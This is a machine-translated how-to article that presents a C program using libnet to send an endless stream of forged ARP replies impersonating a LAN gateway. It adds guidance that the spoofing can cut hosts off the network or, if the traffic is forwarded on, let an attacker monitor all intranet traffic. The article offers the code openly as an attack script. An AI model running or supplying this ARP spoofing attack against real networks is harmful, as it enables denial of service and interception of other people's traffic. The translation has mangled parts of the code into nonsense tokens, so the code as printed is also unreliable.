Get the App
SLTechnology News&Howtos  ›  Development  › 

How to use libnet to implement ARP attack script in Linux

Shulou Source: shulou.com Published: 2022-05-31 21:48:55 09月13日 Update

This article Xiaobian introduces in detail for you "Linux how to use libnet to achieve ARP attack script", the content is detailed, the steps are clear, and the details are handled properly. I hope that this "Linux how to use libnet to achieve ARP attack script" article can help you solve your doubts.

The code is as follows:

# include "arp.h"

Int main (int argc,char * * argv) {

Libnet_t * l

Int iPACKETS; / / the length of packets sent

Libnet_ptag_t arp_tag,ether_tag

Char * device= "eth0"

Char err_ buf[libnet _ errbuf_size]

Char * destion_ip_str = "255.255.255.255"

Char * source_ip_str = "192.168.1.1"

U_char source_hardware [6] = {0x00.0x0c 0x29.0x68.0x95.0x84}.

U_char destion_hardware [6] = {0xff.0xff.0xff.0xff.0xffre0xffre0xffre0xff}

U_int32_t source_ip,destion_ip

/ / convert character form ip to network byte order

Source_ip = libnet_name2addr4 (lforce sourcekeeper iptape strand libnetglasses)

Destion_ip = libnet_name2addr4 (l.j.destion.ippedia str.libnetcards.)

/ / initialize the libnet handle

L = libnet_init (libnet_link,device,err_buf)

If (l = = null) {

Printf ("failed to initialize libnet handle:% s\ n", err_buf)

Exit (- 1)

}

Arp_tag = libnet_build_arp (

Arphrd_ether, / / hardware address type, here is Ethernet type

Ethertype_ip, / / Protocol address type

six,

four,

Arpop_reply, / / arp reply

Source_hardware

(u_int8_t *) & source_ip

Destion_hardware

(u_int8_t *) & destion_ip

Null, / / No load

0, / / the load length is 0

L

0 / / Protocol block tag, 0, indicating the creation of a new protocol block

);

Ether_tag = libnet_build_ethernet (

(u_int8_t *) & destion_hardware

(u_int8_t *) & source_hardware

Ethertype_arp

Null

0

L

0

);

I = 0

While (1) {

Packet_size = libnet_write (l); / / send the constructed arp packet

Usleep (10)

ITunes +

}

Printf ("packet length:% d\ n", packet_size)

Libnet_destroy (l)

Return 0

}

The destination mac is a broadcast address, and the full 0xff is fine. The source mac address can be native mac or casually forged mac (get the native mac available ioctl function in the program. Recently, when you are writing a ddos attack program, you use ioctl to obtain native mac and ip. Note that the arp packet type is arpop_reply (answer packet).

If you do not want to disconnect the network, but only cheat, after the data is sent, it should be forwarded to the correct gateway to ensure that the intranet network is normal and all the data is monitored.

Read this, the "Linux how to use libnet to achieve ARP attack script" article has been introduced, want to master the knowledge of this article still need to practice and use in order to understand, if you want to know more related articles, welcome to follow the industry information channel.

Tags: Data attack address type script article length native content handle program proper code Ethernet function character byte namely form idea Apple Docker Huawei Linux macOS MariaDB Microsoft MySQL NVidia OPPO Reno OPPO Reno Shulou Tech Info Huawei Docker Redmi